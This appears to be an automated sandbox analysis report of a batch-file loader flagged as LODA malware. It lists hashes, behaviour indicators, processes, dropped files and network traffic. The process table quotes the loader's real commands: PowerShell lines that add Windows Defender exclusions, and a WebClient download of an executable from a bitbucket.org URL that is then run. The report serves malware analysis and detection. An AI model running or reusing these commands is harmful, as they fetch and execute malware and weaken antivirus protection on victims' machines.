| File name: | loader3 - Copy.bat |
| Full analysis: | https://app.any.run/tasks/83d1413d-f9dc-4c49-85d7-d9c87f1895bc |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | December 22, 2024, 20:45:26 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/x-msdos-batch |
| File info: | DOS batch file, ASCII text |
| MD5: | 1999B1AAFB1DC1BB2645CA85EFDBDE1E |
| SHA1: | 1639007816EA76843B72C4BB64DB0BE49694886B |
| SHA256: | 573DA0CBFC357AD652402D12A0AFD1F90DDC6944B9B911A5A79144B189C95387 |
| SSDEEP: | 6:ho++AI4eGgdEYzPs++AIIzVr+fxiA8q2pPKB++AI4eGgdEEFACp+tXzp3:+EsuUUEVr+ZiRsBEsuEJUtjN |
MALICIOUS
Adds path to the Windows Defender exclusion list
- cmd.exe (PID: 6260)
Script downloads file (POWERSHELL)
- powershell.exe (PID: 7152)
Adds process to the Windows Defender exclusion list
- cmd.exe (PID: 6260)
LODA has been detected (SURICATA)
- AHPOBS.exe (PID: 936)
Connects to the CnC server
- AHPOBS.exe (PID: 936)
SUSPICIOUS
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 6260)
Probably download files using WebClient
- cmd.exe (PID: 6260)
The process bypasses the loading of PowerShell profile settings
- cmd.exe (PID: 6260)
Executable content was dropped or overwritten
- powershell.exe (PID: 7152)
- AHPOBS.exe (PID: 936)
Script adds exclusion path to Windows Defender
- cmd.exe (PID: 6260)
Script adds exclusion process to Windows Defender
- cmd.exe (PID: 6260)
Application launched itself
- cmd.exe (PID: 6260)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 6260)
The executable file from the user directory is run by the CMD process
- AHPOBS.exe (PID: 936)
The process creates files with name similar to system file names
- AHPOBS.exe (PID: 936)
Contacting a server suspected of hosting an CnC
- AHPOBS.exe (PID: 936)
Connects to unusual port
- AHPOBS.exe (PID: 936)
INFO
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 6340)
- powershell.exe (PID: 5092)
Disables trace logs
- powershell.exe (PID: 7152)
Checks proxy server information
- powershell.exe (PID: 7152)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 6340)
- powershell.exe (PID: 5092)
The sample compiled with english language support
- powershell.exe (PID: 7152)
- AHPOBS.exe (PID: 936)
Reads mouse settings
- AHPOBS.exe (PID: 936)
Checks supported languages
- AHPOBS.exe (PID: 936)
Reads the computer name
- AHPOBS.exe (PID: 936)
Creates files or folders in the user directory
- AHPOBS.exe (PID: 936)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
141
Monitored processes
7
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 936 | C:\Users\admin\AppData\Local\Temp\AHPOBS.exe ; | C:\Users\admin\AppData\Local\Temp\AHPOBS.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Version: 3, 3, 8, 1 Modules
| |||||||||||||||
| 3736 | cmd.exe /c C:\Users\admin\AppData\Local\Temp\AHPOBS.exe; | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5092 | powershell /nop /com "Add-MpPreference -ExclusionProcess C:\Users\admin\AppData\Local\Temp\AHPOBS.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6260 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\loader3 - Copy.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6268 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6340 | powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\admin\AppData\Local\Temp" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7152 | powershell /nop /com "(New-Object Net.WebClient).DownloadFile('https://bitbucket.org/mynewworkspace123312/scnd/downloads/AHPOBS.exe', 'C:\Users\admin\AppData\Local\Temp\AHPOBS.exe')"; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
16 286
Read events
16 286
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
1
Text files
6
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6340 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jc2nkgix.5rc.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7152 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_u00vm12s.0po.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6340 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_izvd3xmb.ska.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5092 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lgt0ggrb.pn3.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5092 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_z4ksw0rs.a3e.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6340 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:96671893A95FF9A808E4CE5CE66642E9 | SHA256:D1793F268D4B4EFCF9F641C99E4484F25C448765E5D1569A54F3B17326031CCD | |||
| 7152 | powershell.exe | C:\Users\admin\AppData\Local\Temp\AHPOBS.exe | executable | |
MD5:A9C526F3A276012D554AC382A90BCA3D | SHA256:7230B549346DBAB880D1D713D8C9DFC1005065C0F0CEBB16AD4F1A15F05D088A | |||
| 7152 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_psd5ohrq.ru5.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 936 | AHPOBS.exe | C:\Users\admin\AppData\Roaming\Windata\svhost.exe | executable | |
MD5:A9C526F3A276012D554AC382A90BCA3D | SHA256:7230B549346DBAB880D1D713D8C9DFC1005065C0F0CEBB16AD4F1A15F05D088A | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
36
DNS requests
20
Threats
6
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.48.23.167:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6472 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
5028 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
5028 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 23.48.23.167:80 | crl.microsoft.com | Akamai International B.V. | DE | unknown |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
5064 | SearchApp.exe | 104.126.37.144:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
— | — | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1176 | svchost.exe | 40.126.32.68:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1176 | svchost.exe | 192.229.221.95:80 | ocsp.digicert.com | EDGECAST | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
login.live.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
bitbucket.org |
| shared |
bbuseruploads.s3.amazonaws.com |
| shared |
Threats
6 ETPRO signatures available at the full report